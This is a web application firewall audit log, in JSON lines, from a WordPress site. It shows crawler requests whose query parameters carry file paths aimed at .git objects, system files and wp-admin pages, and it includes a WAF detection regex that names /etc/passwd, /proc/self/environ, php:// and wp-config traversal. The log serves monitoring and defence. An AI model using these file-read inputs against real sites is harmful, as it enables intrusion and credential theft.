{"transaction":{"time":"13/Mar/2026:08:53:16.724928 +0100","transaction_id":"abPCbOnVRt9COePE1j5-rwAAANg","remote_address":"57.141.20.41","remote_port":56444,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/0a/c79baf604b3ed134e854c309cff34f30088982 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.41","X-Forwarded-Proto":"https","X-Request-Id":"7d4e3701ccea8daa7cbc57266be90228","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"529350"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7d4e3701ccea8daa7cbc57266be90228","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/0a/c79baf604b3ed134e854c309cff34f30088982||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":278,"p2":5756,"p3":0,"p4":0,"p5":374,"sr":148,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:53:37.243568 +0100","transaction_id":"abPCgOpktdsH9gDJB7NkTQAAAEA","remote_address":"57.141.20.24","remote_port":39060,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/dc/8da0c2a4c17c5bab41a70803bdab898e518f42 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.24","X-Forwarded-Proto":"https","X-Request-Id":"d7c6004775c574d193651aa1bbc5fa05","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3215685"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d7c6004775c574d193651aa1bbc5fa05","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/dc/8da0c2a4c17c5bab41a70803bdab898e518f42||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":302,"p2":6145,"p3":0,"p4":0,"p5":390,"sr":157,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:53:42.594673 +0100","transaction_id":"abPChnsHYJTEh6bQs5aDSwAAAcY","remote_address":"57.141.20.18","remote_port":38878,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/zoneinfo/America/Coyhaique HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.18","X-Forwarded-Proto":"https","X-Request-Id":"f09f3c7e53ad4fe566a65b7c747cf67d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10387498"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f09f3c7e53ad4fe566a65b7c747cf67d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/zoneinfo/America/Coyhaique||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":202,"p2":3829,"p3":0,"p4":0,"p5":347,"sr":105,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:53:45.036622 +0100","transaction_id":"abPCiJUwG8lyoidFkgLAIwAAAIE","remote_address":"57.141.20.39","remote_port":38970,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/locale/zh_TW/LC_MESSAGES/iso_639.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.39","X-Forwarded-Proto":"https","X-Request-Id":"37d2bc954cbfcd9a3c7719bd0d10f379","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3017672"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"37d2bc954cbfcd9a3c7719bd0d10f379","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/zh_TW/LC_MESSAGES/iso_639.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":273,"p2":5535,"p3":0,"p4":0,"p5":274,"sr":145,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:53:59.570698 +0100","transaction_id":"abPCl-nVRt9COePE1j5_EgAAAME","remote_address":"57.141.20.47","remote_port":48648,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/86/7518ca404e719214502a4256ae14ad4edcc37b HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.47","X-Forwarded-Proto":"https","X-Request-Id":"7c9c89a8f63ef5523899c5cc4182207a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11045409"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7c9c89a8f63ef5523899c5cc4182207a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/86/7518ca404e719214502a4256ae14ad4edcc37b||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":373,"p2":8050,"p3":0,"p4":0,"p5":367,"sr":201,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:54:11.033783 +0100","transaction_id":"abPCoik_5SD0eS8y3KSKKgAAAAw","remote_address":"57.141.20.23","remote_port":48628,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/70/20e74b17fc39ec9401aaada7e877400b5de91f HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.23","X-Forwarded-Proto":"https","X-Request-Id":"8a44d91bc7721a1b26da229f08916623","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13959531"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8a44d91bc7721a1b26da229f08916623","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/70/20e74b17fc39ec9401aaada7e877400b5de91f||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":201,"p2":5601,"p3":0,"p4":0,"p5":311,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:54:25.300048 +0100","transaction_id":"abPCsJUwG8lyoidFkgLAhAAAAJc","remote_address":"57.141.20.34","remote_port":39544,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/8f/f885492ccb4d49bc3e0061db26381768d4c3e1 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.34","X-Forwarded-Proto":"https","X-Request-Id":"8c7fab77002d3d6e603925f8d8560c81","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8031030"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8c7fab77002d3d6e603925f8d8560c81","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/8f/f885492ccb4d49bc3e0061db26381768d4c3e1||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":216,"p2":5613,"p3":0,"p4":0,"p5":339,"sr":141,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:54:37.025252 +0100","transaction_id":"abPCvJCVIEHEFrDx8RJ2WwAAAkk","remote_address":"57.141.20.40","remote_port":34340,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d8/c93e7d77e436052654c5c2419041acdcb0169f HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.40","X-Forwarded-Proto":"https","X-Request-Id":"659ba4ef1b91ef1e80745ecc45dd8235","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6559568"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"659ba4ef1b91ef1e80745ecc45dd8235","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d8/c93e7d77e436052654c5c2419041acdcb0169f||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":291,"p2":5934,"p3":0,"p4":0,"p5":399,"sr":164,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:00:45.356986 +0100","transaction_id":"abPELOpktdsH9gDJB7NmvAAAAEg","remote_address":"114.119.137.105","remote_port":55622,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/83724151 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.137.105","X-Forwarded-Proto":"http","X-Request-Id":"b83512fa1893f353b156f369beec7f4c","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10848209","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"b83512fa1893f353b156f369beec7f4c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":217,"p2":4078,"p3":0,"p4":0,"p5":268,"sr":145,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:11:58.339767 +0100","transaction_id":"abPGzag_lPa2owFZ6_PiRAAAARc","remote_address":"114.119.140.84","remote_port":47024,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/2798251 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.140.84","X-Forwarded-Proto":"http","X-Request-Id":"deb7ddc6113ca44c7231e6c578b14b4b","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13107794","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"deb7ddc6113ca44c7231e6c578b14b4b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":177,"p2":3125,"p3":0,"p4":0,"p5":289,"sr":113,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:14.382313 +0100","transaction_id":"abPHVW-XEucyBza91ntZhgAAAw0","remote_address":"57.141.20.49","remote_port":44964,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a9/5420c930fbb5cb086a8d757636dc4f1acff301 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"84c08c3cdecb1c1d4f9c7f1e94541789","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12388416"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"84c08c3cdecb1c1d4f9c7f1e94541789","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a9/5420c930fbb5cb086a8d757636dc4f1acff301||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":186,"p2":3716,"p3":0,"p4":0,"p5":279,"sr":99,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:18.811633 +0100","transaction_id":"abPHWk26I4peWFmz15yXBQAAAUU","remote_address":"216.73.216.152","remote_port":50296,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fupdate.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e5a3e4908d84cf6df91ce40162aaec93","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7802064"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e5a3e4908d84cf6df91ce40162aaec93","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/update.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":322,"p2":2761,"p3":0,"p4":0,"p5":535,"sr":142,"sw":110,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:18.922871 +0100","transaction_id":"abPHWk26I4peWFmz15yXBgAAAUU","remote_address":"216.73.216.152","remote_port":50296,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fusers.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"502cd03941e5b971671cde4c42fcb493","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5543879"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"502cd03941e5b971671cde4c42fcb493","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/users.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":265,"p2":2311,"p3":0,"p4":0,"p5":410,"sr":115,"sw":73,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
